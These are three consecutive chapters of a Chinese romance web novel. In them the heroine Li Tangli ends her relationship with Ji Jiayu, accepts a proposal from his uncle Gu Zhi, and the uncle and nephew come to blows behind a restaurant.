她捏着那枚戒指,看了半晌。顾峙侧身吻了吻她的侧脸,将脸颊埋在她脖颈处,闷闷地说:“求你了,我等不及了。每次看见你和他站在一起,我很不舒服。” 吹出的热风洒在她的侧颈,李棠梨握紧他的手,郑重地跟她的情人说:“和他分开,我们就在一起。” 作出这个承诺,李棠梨顿觉浑身轻松。 她兴许要感谢顾峙的临门一脚,使她不再终日烦恼于这些没有结果的事。 在确认系统依然掉线、完成任务的可能性微乎其微的两天后,不抱任何希望的李棠梨正计划主动联系纪嘉誉,却没想到还是他快了一步。 收到他的邀请时,李棠梨正在顾峙的办公室里。 这次,李棠梨没有隐瞒,和他如实说了。 顾峙的眼睛在她和纪嘉誉的聊天界面上停留了片刻,但他克制住了,没有拿起她的手机一字一句的查。 现在,他尚且没有这个权力。但他很快就会有了,就在几个小时以后。 顾峙表现得心平气和,全然没有之前的失控情状。甚至耐心地为李棠梨挑选了一套衣服,晚上开车送她抵达了指定地点。 他平静得有些反常,李棠梨扶在门把手上,惴惴不安地说:“……那我进去了?” 男人望着她,忽然倾过身,带着一股狠劲吻上她的唇。在她气喘吁吁时,顾峙揉了揉她的后颈:“别让我等太久。” 隔着衣服,他按住了那枚藏在她胸口的戒指。钻戒的棱角硌了一下皮肤,滋生出钝痛来。这种痛楚同样在顾峙心头焦灼地燃烧着。 李棠梨对安抚他已颇有一些心得,当即说:“只是几句话的功夫,很快的。” 理智也是这么告诉顾峙的。放她进去和纪嘉誉面对面说清楚,一切就都明了了。他们分手,他顺利上位,就是这么简单,胜利近在咫尺。 可一道怀疑的声音渐渐大起来,覆住了他的心智——果真吗?李棠梨果真已经完全地偏向他,像他对她的迷恋一样多吗?抑或是最近被他粘得太紧,短暂的鬼迷心窍了? 顾峙很清楚,纪嘉誉长了一张很吸引女人的好皮囊,更重要的是,他太年轻了,他才是和李棠梨最相配的年龄。 放任她走进去,她还肯回到他身边吗? 他顿了顿,眼底涌动着暗流:“全程开着语音,可以吗?” 这无疑是越界且偏激的监听行为。李棠梨的心紧了一紧,她攥着手机,纵容了这位未转正却早已杯弓蛇影的情人。 接通的手机揣进口袋里,她走下车, 仍感受到两道视线黏在她身上。 直到目送着她的身影消失在视野里。 其实,顾峙从来没有说过,但不代表他不会嫉妒。一想到李棠梨和纪嘉誉可能拥有对方的初恋、初吻、初夜,他淤积的情绪就沉沉地铺开,这是他无论如何努力也抹除不去独属于两人的羁绊。 他很想拉住李棠梨,不许她与纪嘉誉再见面,不许冥冥中玄妙的缘分再落在他们两人身上。看着保持通话的手机,他阴郁地想。 李棠梨看见纪嘉誉时,他正在打台球。从她这个角度看去,他的身影被两个人挡住了。 隐隐约约看到他俯身于台桌上,球杆架在冷白修长的手指上,目光专注。伴随着清脆的碰响,目标球迅疾地滚入袋中,一杆进洞。 围着台桌的几个人爆出欢呼声,适时吹起口哨。被奉承的主角纪嘉誉脸上却不见什么得意之色。 相反,他没了劲头,随手将球杆丢给了身旁的人,神色烦闷地打开了手机。 他坐到一旁,两肘支在膝盖上,往下刷新,李棠梨没有发来新的消息。看一眼时间,眉峰锁得更紧,怎么还不过来?已经迟到十五分钟了。 回想起从前,她都是随叫随到的。 “嘉誉,晚上好。” 她的声音响起,他蓦地抬起头,摁灭手机后循声望去:“嗯,刚来?” 李棠梨就站在几步开外的地方,不知道什么时候来的。 他从上到下端详,她的穿衣风格和上次一致,貌似固定了下来。今天是藏蓝色的牛角扣外套搭着格子半裙,头发比他们夏天初识时长了半截。黑发散落肩头,她将一绺遮住视线的发丝掖在耳后,服服帖帖的,显得学生气十足。 不光脸上红扑扑的,外套上也泛起了几道褶皱,可能是路上来得太匆忙,跑皱的。 纪嘉誉扬起下颌,宽容了她的迟到。他拍了拍身旁的座位:“傻站着干什么?过来。把外套脱了吧,室内挺暖和的。” 可李棠梨并不领情地戳在原地,没有动。她下意识摸了摸口袋,手机在微微发烫。 李棠梨定了定心神,迎着他的目光:“不用了。我有话想和你说,可以出来一下吗?” 此时,纪嘉誉的几个朋友注意到了不远处的状况,闲聊声渐小,有意无意地瞥向他们。 听出了她话语里的古怪,裹挟着几分风雨欲来的势头。见势不对,纪嘉誉站起身,直直盯着她:“什么事?” 李棠梨不想当着这么多双眼睛令他难堪,她放软了语气:“嘉誉,出来说吧。” 可纪少爷的犟脾气上来,偏偏不肯动弹了。他察觉到他即将陷入一个困境。只要走过去,李棠梨绝对要说什么不太中听的话。因此,只要不按照她说的做,就可以避免意外的发生。 可惜他搞错了,那不是意外,是必定会发生的未来。 李棠梨叹了一口气,不管相处多久,她还是拿他毫无办法。 她最后一次试图给予他体面:“真的要在这里说吗?” 纪嘉誉不接茬,反而竖起一道满是冰刺的屏障:“你到底要说什么?” 他望着李棠梨那双无奈的眼睛,看她张开了嘴唇,在话音传出之前,有什么若有若无的东西已经通过她的双眼递送给了他。 可在他领会这眼神之前,李棠梨已经无可挽回地说出了口:“我们彻底结束吧。” 说出这句话的瞬间,像是挪开了一块长期压在她心上的大石头。 宛如挣脱束缚,她呼吸通畅、心情舒展,一鼓作气道:“我不想再和你保持这种……不知道算什么的关系了。总之,很抱歉纠缠你这么长时间,我们到此为止好了。这是最后一次,以后我就不会来了。” 她的声音不大不小,能确保纪嘉誉清晰的听到。至于竖着耳朵的其他人什么反应,她无暇顾及了。 明明台球厅放着舒缓的背景音乐,但霎时间,周遭一切都寂静了下来。 在这种尴尬、冰冷的寂静中,纪嘉誉忽地冷笑了一声,他讥讽道:“李棠梨,你以为自己算什么东西?我早就和你提过分手了,你突然在这儿自作多情什么?” 第47章 急着去找哪个野男人 纪嘉誉感到身上一阵冷一阵热,急于要在口头争夺主动权,来佐证自己并非是被弃之如敝履的一方。 他死死盯着李棠梨,哪怕李棠梨只有一点的难过、伤心也好,只要有迹可循,让他找到,他此刻的不适就能缓解很多,从而证明她的话都言不由衷。 然而,李棠梨非但没表现出丝毫难堪,反而释怀地说:“好,就算我自作多情。那就不打扰你们了,再见。” 说完,她掉头就走。步伐轻盈地像是一只从鸟笼里放出的鸟,迫不及待的飞到谁的身边去。 “等等,我让你走了吗?” 要飞走的李棠梨被拽住了手腕,困在了原地。纪嘉誉的声音在身后阴恻恻炸响:“急着去找哪个野男人?” 她僵了僵,转过脸,见他脸色沉得吓人。 纪嘉誉的嘴角神经质地抽动了两下,吐出的每个字都仿佛沾着毒汁:“我明白了,从那次聚会开始你就不对劲了。我还纳闷你在和谁聊天,问了两次,都装死不说,从那个时候开始,你就跟那个野男人搞上了是不是?就是他怂恿你今天来跟我分手!?” 李棠梨抿着嘴唇,手腕被攥得生疼。她用力挣开他的手:“是你说我们已经分手了!” 她没有反驳! 宛如当头一棒,纪嘉誉整个人都气得发抖。 他咬牙切齿:“你真和别人勾搭上了?你……行啊,李棠梨,看不出来,你本事不小。” 耳朵嗡嗡作响,脖颈崩起一条青筋,纪嘉誉胸膛起伏。 她有别的男人了,他气得一脚把身旁的椅子踹倒,咣当倒在地上。 台球厅里的其他人面面相觑,大气不敢出一声,没人上前阻止这场大戏。 他们眼中闪着震惊的光——谁出轨了?李棠梨出轨了! 那个他们一直看不上的李棠梨不声不响地勾搭上了别的男人,给纪嘉誉戴了顶绿帽子! “是谁?你和他做到什么程度了?上床了吗?” 他目眦欲裂,步步紧逼,看得李棠梨打心底发寒。 她后退一步,胸口却腾地窜起一簇火苗。 曾经的记忆一帧帧重现,她想起纪嘉誉对她召之即来、挥之即去的态度,想起他在朋友面前的轻蔑与冷待,想到当初她小心翼翼地想朝他借钱,却率先发现了他朋友圈里舒冉的照片。 这些记忆与眼前这副怒极的神情形成了强烈的对比,李棠梨忽而觉得荒谬而可笑。 她同样是这么做的。听到她的笑声,纪嘉誉惊疑地拧眉,任人宰割、逆来顺受的李棠梨居然可以露出这种近乎报复的快意笑容。 李棠梨把手抄在兜里,反问道:“没分手的时候,你就和舒冉在一起了,不是吗?” 纪嘉誉一愣,不等他回答,李棠梨继续道:“嘉誉,你好像很生气,为什么?难道你喜欢我吗?” ……喜欢她? 这个闪念如离弦之箭般掠过,带来一阵发苦的酸涩,纪嘉誉握紧拳,不肯承认这迟来的领悟。 他钻入了牛角尖,紧咬着不松口:“别转移话题,那个小三是谁?非得让我查你手机 ?” 晚了。李棠梨深深看了他一眼,扭身就跑。纪嘉誉迈开腿追她,被他踢倒的椅子却偏偏在紧要关头绊了他一下。 他咒骂一声,朝周围人低吼:“把门关上!” 可他说得太晚了,等几个人反应过来的功夫,李棠梨已经跑了出去。 她晃动的裙摆成了最后一幕残留在纪嘉誉视野中的画面。 他追出门,这一层的走廊却空无一人,看不见她的身影。 怎么可能跑得这么快? 他一边电话轰炸,一边不死心地坐电梯跑到一楼。就是找不着人,手机显示正在通话中,一瞬间,她就跟人间蒸发了一样。 这些都是徒劳。 因为李棠梨其实就在这层拐角处的一个包厢里,她的手机嗡嗡作响,但已经无人在意了。 后背靠着门,她攀着顾峙的脖颈,鼻端萦绕着他的木质香。 脚尖只能微微点地,顾峙挟制着她的后腰,舌尖被他吮得发麻,李棠梨满脸通红。 顾峙喘着气,抵住她的额头,低声问:“骗我当了你这么久的小三?” 李棠梨心虚而真诚地跟他认错:“对不起,现在不是了。” “那我们现在是什么关系?” 他垂下眸,女孩湿润的软唇上有道口子,大概率是因为他方才太激动,又舔又咬弄破的。 只要对上她,顾峙就从衣冠齐整的社会精英退化为了被粗俗欲望支配的低级动物。 李棠梨憋了半晌,才说出口:“是男女朋友。” 顾峙抚摸着她下唇那道浅浅的口子,拇指扣在她的唇缝外跃跃欲试。 他淡淡地说:“只是男朋友?” 男人的手伸到她的脖颈,从容地解开衬衣的纽扣。 李棠梨低头飞快看了一眼,随着他的不紧不慢的动作,她前胸的皮肤逐渐暴露在冷空气里。 她打了个寒战,羞赧地止住他的手臂:“……回去再弄,好不好?” 顾峙呼吸粗重了一瞬,他停下手,似笑非笑:“回家干什么?我听不懂。” 等他勾住了那枚戒指,她才后知后觉自己误会了,顾峙却来了劲儿。 他正色道:“李小姐,你还戴着戒指,是有家室的人了。出来寻欢作乐,这是可以的吗?” 情夫做久了,刚上位,习惯还没扭转过来,说这种话简直信手拈来。 李棠梨耳垂发烫,她又羞又气地瞪着他:“顾峙……” 顾峙一本正经,绕回了正题:“这枚戒指,是不是你丈夫送的?” 她愣怔了一下,他将那枚戒指举起来,目光灼灼地等她的回应。 丈夫……顾峙是想和她结婚? 心头激起一圈涟漪,真到了这个节骨眼,她既觉得欣喜,又莫名产生了些微的慌乱。 李棠梨小声地说:“顾峙,我是愿意的,但是,但是我还没准备好直接结婚……” 是呢,他问的这么突然,李棠梨不知所措是意料之中的反应。然而,这恰恰达到了他的目的。 顾峙垂下眼帘,使得李棠梨看不出他的情绪。 他说出了早有预谋的说辞,一副通情达理的做派:“我理解的,我们先订婚,再领证,慢慢来,可以吗?” 这一回,李棠梨点点头,对他说:“好。” 顾峙笑了,将戒指从她脖子上取下来。 骤然间,头顶的灯依次亮起,明亮的灯光下,李棠梨睁大了眼睛。这里俨然是由粉色玫瑰铺就的花海,一直蔓延到巨大的落地窗前。 透明的玻璃之后,就是夜晚如火树银花般炫目的A市地标性建筑。 而此时,拿着戒指的顾峙单膝下跪,他语气珍重地说:“李棠梨,我想要余生都光明正大地站在你身侧,做你永远的爱人。所以,你愿意嫁给我吗?” 沉浸在他深灰色的、温柔的眼睛里,李棠梨有了要落泪的冲动。 她含着哭腔:“嗯,我愿意。” 上次所有的遗憾都被完美地补全,戒指也履行了自己真正的职责,戴在了她的左手上。 顾峙心跳如雷地握住她的手,两只戴着对戒的手紧扣在一起,这将是一个崭新的序章。 * “……求婚的经过大概是这样。” “哇,好浪漫。” 听李棠梨讲述完,兴致勃勃来到他们公寓的顾语琴捧着脸,脑海中绘出了一副生动的画面,眼睛闪闪发光。 她遗憾地抱怨:“这么大的事,你们也不通知我到场见证!” 李棠梨不好意思地说:“我事先也不知道。” 顾语琴拉过李棠梨的手,盯着那颗蓝宝石认真端详了片刻:“嗯,很不错。” 能让一向挥金如土的顾语琴都发出很不错的评价,李棠梨压低声音问她:“是不是很贵?我问他多少钱,他一直不肯说。” 戒指上的宝石来源正是“海洋之心”的原型。这种顶级品质的矢车菊蓝蜚誉全球,在珠宝界更是以罕见与珍贵著称。李棠梨手上的这枚戒指,价值至少百万起步。 顾语琴只是笑,神神秘秘地说:“多少钱你都值得。” “聊什么呢?”顾峙换好衣服从卧室走出来,瞥了一眼坐在地毯上的两个人,不赞同地对李棠梨说:“这两天不舒服还坐地上。不怕肚子又疼?过来,我给你穿袜子。” 当着顾语琴的面被顾峙这么训,李棠梨有点难为情。她嘟囔了一句:“我自己穿就好。” 自从顾峙求婚成功,就不再压制对她的掌控欲,如藤蔓般完全地铺展开来。 有天李棠梨少吃了一口饭,他都要抓住问是不是不对胃口。 顾语琴也站起身。连李棠梨进房间穿个袜子,他哥也得跟在人家屁股后面,没见过这么舔的。可见他是怎么死缠烂打才把人追到手的。 她翻了个白眼,腹诽道:“跟当爹似的。” 正想着,手机发来了新消息。 一边打字回复,顾语琴一边拉长声催促:“好了吗你们?他马上到咯。” 李棠梨和顾峙穿戴整齐后,三人坐上车。 到了餐厅,他们订的是靠窗的座位。往下便能纵览江河夜景,视角绝佳。 已经就坐的关望津朝他们挥了挥手。 顾峙问:“等了多久?” 关望津耸耸肩:“十分钟吧。” 他转而看向顾语琴,尽量自然的和她打招呼:“好久不见呐语琴。” 顾语琴朝他眨眨眼,游刃有余地应付道:“不是上个月才见过吗?哥哥。” 她故意拉着李棠梨紧挨着坐下,这下,顾峙就只能和关望津坐桌子另一边了。 由于李棠梨的迁就,这种幼稚的行径成功换来了顾峙的一瞥。 有一搭没一搭的闲聊,吃到五分饱,关望津问到关键:“既然都求婚了,你们打算什么时候跟家里坦白?” 这个家,就是特指顾淑凤了。 顾峙早有考量:“大姐这两天出差了,等她回来再说。” 关望津侧过头,强调说:“那你外甥呢?想好怎么跟他说了吗?他那个无法无天的性格,搞不好就闹大了。” 提起纪嘉誉,李棠梨的胃口没了大半。她也发愁,如果是其他任何人,都比这好办。 偏偏顾峙是纪嘉誉的舅舅,以后结婚成了一家人,抬头不见低头见,关系不能闹得太僵,可这完全是天方夜谭。 他们四个人浑然不知,就在斜对角,隔着圆形大厅内的一架钢琴,他们话题的中心人物,此时就坐在几步开外的位置。 自从上礼拜李棠梨消失不见后,纪嘉誉就再也没能联系上她。 他一度想过直接找到她家里去,逼她出来见面。可他那时才恍然发觉,他居然连李棠梨的具体家庭住址都不清楚,只知道一个前不着村后不着店的公交车站。 郁结在心的他消沉了几天,今晚才首次应邀约出门。 一曲毕,演奏者离席。纪嘉誉不经意地回过头,从这个空当里瞄见了他舅舅还有关叔。 他们今晚也在这儿? 看背影,他们对面坐着的是两个女人。一个是小姨,还有一个离他距离最远,可身形有些熟悉。 他眯起眼,突然,那女人动了动,向他露出半张隐隐覆着忧愁的侧脸。 纪嘉誉目光一滞,下意识站起了身。 ——是李棠梨。 第48章 舅舅不是舅舅,是 奸夫。…… 刚迈开脚,纪嘉誉止住了。 家里人都在,他现在气势汹汹地跑过去质问李棠梨,相当于把被戴了绿帽子的事大庭广众之下抖露出来,面上无光。 他又强迫自己坐下,准备找准时机再喊李棠梨单独出去。 可转念一想,觉得处处都是蹊跷。 她怎么会和这三个人出现在这里?李棠梨前段时间当小姨的护工不假,舅舅和关叔为什么也愿意把她捎带上外出吃饭,他们的关系已经亲近到这种程度了吗? 他脑袋不时扭转过去,视线逡巡在迷云密布的那一桌人身上。旁边朋友们的安慰听得丢三落四。 “誉哥,指不定李棠梨是在跟你玩欲擒故纵呢?” “那天就是嘴硬吧,凭她那个条件,从哪儿找比你强的男人?” 纪嘉誉也想不通。 这几天夜晚辗转反侧时,他不得不颓然地承认李棠梨的变心对他的打击不小。 他肆无忌惮地挥霍着她的真心,即使发现了苗头有些不对,也刻意地忽视。 归根结底,是因为他自大又轻蔑,默认李棠梨喜欢他是理所当然的事。没想过这种普普通通的女人也有变心出墙的资本,和其他男人枝蔓相缠。 第三者如果真的存在,那是谁? 不远处,关望津说了什么,大概率是个笑话,气氛欢快了许多。李棠梨也被逗乐,笑得肩膀抖了抖,冲散了先前脸上的忧虑。 玻璃上投射她朦朦胧胧的影子。 上次纪嘉誉就有所察觉,李棠梨身上长了些肉,使得她增添了几分风情。看得出来,在他为其困扰的这些时日,她过得甚至称得上舒心。 她笑,照旧是腼腆的样子,沾着液体的嘴唇光亮,两只手托住了下巴颏儿,精致的手链随之滑下去。 那双棕褐色的眼睛静静地凝视着对面的谁,仿佛两湾盈盈的水波,流淌着依赖、信任与淡淡的愉悦。 纪嘉誉不知道被她这么注视的人是怎样的感受。 他的眼睛像被蜇了一下,仓皇地掉过头。不甘示弱,翻箱倒柜地试图从记忆里翻出类似的画面,可找不到。 哪怕是在李棠梨最迁就他的时候,她也没有向他露出过这种柔软的表情。 嗓子发涩,往下灌了两口凉水。直觉告诉他,那个第三者一定就坐在对面。 她在看哪个人?他疑神疑鬼地揪住这个点,是关叔? 怀着压抑的敌意,他目不转睛地打量那个诱她出轨的嫌疑犯。 关望津生有一双微微上翘的桃花眼,从眉梢到唇角都噙着轻飘的笑意。 放在之前,纪嘉誉觉得这个叔叔幽默随和;现在,他才看出这老男人分明是在时时刻刻对女人放电,卖弄风骚。 联系上关望津的一些风流轶事,可能性大大增强。 纪嘉誉心绪败坏,咬紧后槽牙,恨得牙痒。 李棠梨性格木讷,要是没有人一步步引诱她,是干不出这种出格的事儿的。 关望津和她相差十岁左右,还要不要脸?别的女人是死绝了吗?兔子还不吃窝边草呢,他非要来勾引李棠梨? 可又觉得说不通,他们是怎么勾搭到一块的?压根就没有相遇的契机,初见就是在温泉酒店,时间对不上,除非是瞒着他早就认识了。 除此之外,没有别人了。 他的视线左右游离,还剩另外一个男人,一个不可能的选项——他舅舅,顾峙。 和花天酒地的关望津相比,顾峙是截然相反的另一个极端。他洁身自好、严以律己。 纪嘉誉曾经怀疑过顾峙,但事后又认定是自己多心。 他潜意识里是拒绝这个可能的。他沉沉地思索,如果那个男人真是舅舅,那该是多恶劣的一桩丑闻? 要知道,舅舅和李棠梨第一次见面,可是在他的床上。 隔着几步的距离,李棠梨的后背没由来的一阵发冷。她把腿上顾峙的外套往上扯了扯,盖住小腹,又觉得周身暖和了。 关望津问她:“纪嘉誉还有联系过你吗?” 李棠梨委婉地说:“刚开始打过几次电话,后来就发微信了。” 顾峙语气冷淡:“电话就没停过,一点分寸也没有。” 分手了,还给前任打什么电话?想挽留吗?现在已经是他的未婚妻了,晚了。 他之所以这么说,还因为被打扰了两次亲热,不高兴了。 有回刚要进入正题,铃声响了,李棠梨两眼泪汪汪的,坚持非要看是谁。 顾峙松开架着她腿弯的手,面无表情地从后看着她两腿颤颤地往床头柜爬。 就在她伸手够到的前一秒,突然被身后一言不发的男人攥着细瘦的脚腕拖回来。 理智在情潮中彻底丧失,她的哭叫求饶声很快就盖过了徒劳的铃声。 想起这件事,李棠梨脸颊泛红。 顾语琴轻巧地发表了她的观点:“棠梨不是早就和他分手了吗?当务之急是先跟大姐说清楚,咬死你们是在她分手后才开始的,小鱼这边先不着急。” 她说完,起身去了洗手间。关望津借口去外面抽根烟,也暂时走开了。 看着身边空落落的座位,顾峙对李棠梨说:“坐过来。” 于是,纪嘉誉再一次回头,只看一眼,他瞳孔紧缩,僵硬地宛如一尊木雕——李棠梨什么时候和舅舅坐到了一起! 舅舅没有穿外套,白衬衫挽了上去,露出一截结实的小臂。他微微后倾,靠在靠椅上,那条健壮的、修长的胳膊就这么堂而皇之地搭在了李棠梨的椅背上! 从他的角度看过去,舅舅几乎是把那个笨女人揽在了怀里。 他木楞楞的眼珠再往瞧,便看到舅舅脱下的那件西装居然是被李棠梨抱着。 她是个多细心妥贴的女人,上床前都要把脱下来的衣服叠好。就像现在一样,先将西装沿正中对折,再妥帖地挂在小臂上,外套紧贴着下胸沿。搂着他的衣服,乖乖地坐在她男人身旁。 太阳穴突突地蹦跳,头顶一道惊雷把他劈得四分五裂,五脏六腑都颤栗了起来。 纪嘉誉一下子明白过来了,明白过来这些日子里所有的不对劲了。在温泉酒店与老宅被他撞见的“偶遇”、楼道里顾峙那个见不得人的“女朋友”、李棠梨衣着上细小的变化…… 仔细一想,居然全是破绽。脑袋里炸开了锅,他眼珠激得发红,他死死地盯着对面纷纷背叛他的那对奸夫。淫。妇。一瞬间,舅舅也不是舅舅了,成了引诱李棠梨出轨的奸夫。 几个朋友看他的手臂发抖,像气到了极点。问纪嘉誉怎么了,他不吭声,直直梗着脖子往后瞧。 直到顾峙那只搭在椅背上的大手习惯性地往前,抱住了她的肩头,指头摩挲,严丝合缝地裹着,自然极了,熟练的不知道做了多少遍。 而李棠梨呢?这个怯懦的、胆小的女人,她不仅不拒绝,抖都没有抖一下,连瑟缩抗拒的假象都不做。 纪嘉誉从没见过她这种完全依赖而放松的神情。就在他的眼皮子底下,她的身子甚至还往舅舅那边靠了靠,连同她的心一起,毫无保留地倒向了别的男人。 纪嘉誉不是不经事的童子鸡,正因此,他看得气血上涌——这要上了多少次床,多习惯于身体接触,才能这么自然? 快被脑海中的想象逼疯,他忍不了了,霍地站起身,椅腿剐蹭瓷砖,拉出刺耳的噪声。 大步走过去,“砰”的一声,握着手中的酒杯,砸到那个桌子上,极大的力道下,玻璃杯磕在桌上,劈里啪啦碎了。 坐在外侧的李棠梨短促地尖叫了一声,几块碎片飞溅到了她面前的盘子里。 顾峙下意识把人护到自己怀里,他看都没看纪嘉誉,匆匆把她的脸捧起来。 “划到了吗?” “我没事。”李棠梨摇摇头,惊魂未定地看向桌前的煞神,咽下一口唾沫:“嘉、嘉誉?” 他怎么在这儿? 纪嘉誉努力地想扯出一个云淡风轻的笑,但失败了。 这画面针扎般刺着他的心口,顾峙紧张地抱着李棠梨,那本该是他的女朋友! “你 们什么时候搞在一起的?李棠梨,瞒得挺好,我真小看你了,我一个人不够,连我舅舅的床你都要爬?” 这话太羞辱人了,李棠梨的嘴唇羞愤地抖了抖,当场反驳说:“我们当时已经分手了!” 一旁的顾峙环视一周,部分人已经注意到了这里的状况。 他镇定地对纪嘉誉说:“出去说。” 纪嘉誉讥讽道:“你们干出这种不要脸的事,现在怕丢人了?” 顾峙无波无澜地望着他,突然,他起身一把揪住他的领子,把听不进话的纪嘉誉上半身给硬生生薅了过来。 他一字一句地说:“听不懂话?刚刚你差点伤到她,我现在心情很差,不想说废话。想动手直接跟我去后门。” 纪嘉誉奋力拨开他的手,怒极反笑:“好,好,现在就去!” 最坏的情况出现了,众目睽睽下,舅甥两人为了她大打出手。 “别,别在这儿,回去再说,不要动手……” 李棠梨着急地拉住顾峙的手,竭力想要阻止他们从口角冲突升级到斗殴。 顾峙安抚地摸了摸她的脸:“他情绪上头,忍不到回去了。你呆在这儿,不要跟出来,我怕波及到你。” 眼见顾峙的步子也压着一股邪火,李棠梨六神无主地呆了片刻,骤然间她想起什么,刚往前厅快走了两步,就撞上了结伴一同回来的关望津和顾语琴。 “李……” 不等他说话,李棠梨急急地开口求助:“纪嘉誉撞见我和顾峙了,他们说要去后门动手!” “什么?”关望津脸色一变,匆匆撂下一句话:“你们别乱走!” 苍天啊,为什么又是他!关望津脚底着火,只恨餐厅设计得弯弯绕绕,自己今晚又好死不死穿了皮鞋,跑不快。 顾峙的脑子没掉线,他之所以说去后门,是因为这里正对着一条幽静的巷子,没有行人。 关望津一路跑过去时,两个人已经动起了手,连一旁的折叠木椅都踢倒了两把。 刚瞧见人影,关望津就听见纪嘉誉喘着粗气喊道:“你就是小三!” 第49章 陪在她身边的人是我 两个男人都压着火,刚出后门就拳脚相向,谁也没让谁。 砸了纪嘉誉一拳,他吃痛地后退了两步。顾峙出了口恶气,率先冷静下来。 他将散落下来的额发往上撩,眼眸闪着点点寒芒,语气很硬:“这样才对。纪嘉誉,有本事你跟我闹,冲她逞什么能?” 这是在怪罪他方才对李棠梨说的话太难听。 他又说:“她说了很多遍了,是和你分手后,我们才确定关系的。” “呵,”瞧着冠冕堂皇的顾峙,纪嘉誉觉得他陌生极了。现实远比戏剧要精彩绝伦的多,他怎么也想不到,撬他墙角的居然是带大他的亲舅舅。 从前那个高大而光辉的身影蓦然倒塌,只剩下眼前这个面上一套、心里一套的伪君子。 他握紧拳,戳破了那层遮羞布:“那你是什么时候对她动心的?敢回答我吗?” 顾峙明显愣怔了一下,他沉默了。 沉默中所裹挟的信息点燃了最后的导火索,纪嘉誉跟爆了的火药桶一样冲上来。 怀有愧疚的顾峙只防不攻,硬挨了好多下。 “你怎么配当我舅舅?那次把我叫到书房替李棠梨打抱不平,是不是就对她动心思了?我还以为你只是管得宽,没想到你是管得太宽了,连外甥的女朋友都能惦记上!” 占据上风的纪嘉誉咬牙切齿:“我看出来了,和分不分手根本没关系,不分手你也早晚会勾引她。顾峙,你就是小三!” 实话总是太过刺耳,被这么迎头痛骂是小三,顾峙也火了。他练过拳击,动起真格来,虽然处在暴怒中的纪嘉誉不好对付,但依然不是他的对手。 为了尽快结束这场闹剧,顾峙后撤两步,迅速拧胯出拳,拳锋又准又狠地捣到他的下巴上。 眼前猛地一昏,纪嘉誉再反应过来,就已经跌坐到了地上。下巴是人体最脆弱的部位之一,顾峙只用了一半的力,不然他早就两眼一翻倒头晕过去了。 “停!停!要命了,你俩都是我祖宗,别打了!” 关望津急得没跳起来,他就晚了一步,眼睁睁看着纪嘉誉被顾峙打倒在地。可别打坏了! 他弯起腰,搀扶起大喘气的纪嘉誉:“站得起来吗?不行去医院看看。” 结果,反被不领情的纪嘉誉一肘顶到鼻子上,好悬没怼出鼻血。 “滚,你们都合伙骗我,你也别装好人!” “嘶……”关望津捂着剧痛的鼻子,眼睛一阵生理性的泛酸。 他两眼望天,彻底没招了。两祖宗这会儿都在气头上,天王老子来劝和都没用。 顾峙的气息也有点急促,他开口说:“小三,什么小三?她泡在泳池生病发烧,是我照顾的她;被催债的找上门,是我给了她落脚的地方、帮她收集证据报的警;就连你半夜把人扔在路边,也是我开车接回来的。她有跟你说过这些吗?” 口腔弥漫着一股铁锈味,他没有去管开裂的嘴角,事态恶化到这一步,索性把隐秘都撕开了给纪嘉誉看。 他居高临下地望着纪嘉誉:“这么多的事,陪在她身边的人始终是我,不是你。我是小三?你照顾不好她,根本就没资格当她男朋友。” 每说一个字,纪嘉誉的脸色就更难看一点。 话音刚落,濒临力竭的他硬生生从地面撑起来,揪住顾峙的衣领,悲愤道:“你是我舅舅,怎么能干出这种事?” 顾峙与他针锋相对:“那你告诉我,我该怎么做?我克制过了,没有用。我想过如果你对她好,就放弃这个念头。但你都做了什么?你和别的女人出轨,还有脸指责我?” 他掰开纪嘉誉颤抖的手指:“抱歉嘉誉,我没办法。你不关心她,还不许我关心吗?” 与其说是抱歉,不如说是一种挑衅。 “别打了回去再说!你们真不怕上新闻啊?”关望津两手从后扣住纪嘉誉的肩膀,使劲把他往后拽,欲图分开这对势如水火的舅甥。 视线往旁边一扫,心里顿时咯噔一声。完了,纪嘉誉那几个朋友也跟过来了,都是他认识的小辈,一个个扒着门,伸长脖子看得津津有味呢。 关望津顾不上别的了,扭头喊道:“你们几个也别光看热闹了,上来帮忙啊!” 他们这才从这出舅甥相争的大戏中回过神,纷纷应声上前,七手八脚地拖住他们,费了九牛二虎之力,终于把厮打在一块的两个人拉开了。 一波未平一波又起,随着嗒嗒的脚步声,紧接着传来一声惊悸的呼喊——“顾峙!” 众人定睛一看,一道身影扑到了顾峙身前。李棠梨按捺不住关心,在餐厅里如坐针毡,还是过来了。 她仰着头,手小心翼翼地捧住了顾峙的脸。 一瞧顾峙嘴角淌血,她眼圈顷刻间就红了大半,又不敢碰,带着哭腔问:“疼不疼?” 顾峙抬肘擦了擦嘴角,袖口上也蹭上了一道血。他摇摇头,低头对她说:“没事,你先回去。” 她的手柔柔的搭在顾峙的脸上,生怕碰疼了他。左手的戒指在路灯下闪了闪,晃进了对面人的眼睛里。 “戒指……你们结婚了?” 背后传来一道失魂落魄的声音,要不是纪嘉誉出声,李棠梨都忘了还有这号人了。 她转过身,下意识挡在顾峙身前。 李棠梨皱起眉,语气少有的强硬:“是,我们现在订婚了。可以结束了吗?” 纪嘉誉出手时没轻没重,往脸上招呼的都被顾峙躲过了,百密一疏,才被指节刮了一下嘴角,只是看着严重。纪嘉誉的伤则全在衣服下面,明面上看不出来,吃了哑巴亏。 可她一过来,甚至连余光都没给他留位置,满心满眼的都是他的好舅舅。 就李棠梨那副小身板能挡住谁?可她就是要站在比她高大许多的顾峙面前,护着他,泛着泪光的眼睛提防地看向伤害顾峙的人——纪嘉誉,她的眼神像是在狙击一个危险分子。 而顾峙呢,他仗着李棠梨的喜欢,反正已被他撞破,此刻更是有恃无恐。他垂眼注视着她,目光柔软极了。 巨大的落差感令纪嘉誉的心一点一点凉透了,不用周围人的压制,他反而静了下来:“你们才认识多久就要结婚?你就这么喜欢他?” 李棠梨忍耐地说:“和你无关,我们已经分……” 纪嘉誉打断她的话,激动地说:“那根本不是分手,是冷战!吵个架算什么分手?我以为你知道……” 情绪如洪水泄闸,他双眼微红,周遭骤然间安静了下来。 顾峙下颌绷紧,瞥了一眼发愣的李棠梨,面容彻底阴沉了下来,沉得要滴水。 哪怕是打架时他都保有理智,可这个时候,他是真在后悔几分钟前没下重手把纪嘉誉直接打晕了。 不算分手,算冷战?顾峙想发出冷笑,可他笑不出来。 他紧紧地盯着李棠梨,她是怎么想的?手指变得冰冷,等待她回复的每一秒都是煎熬。 几秒的功夫,漫长的堪比一个世纪。终于,李棠梨嘴唇开合,使他得到了解放。 “不是冷战。我不知道你是怎么想的,对我来说,你跟我说分手,那就是分开了。我还跟你确定过。你不记得了吗?” 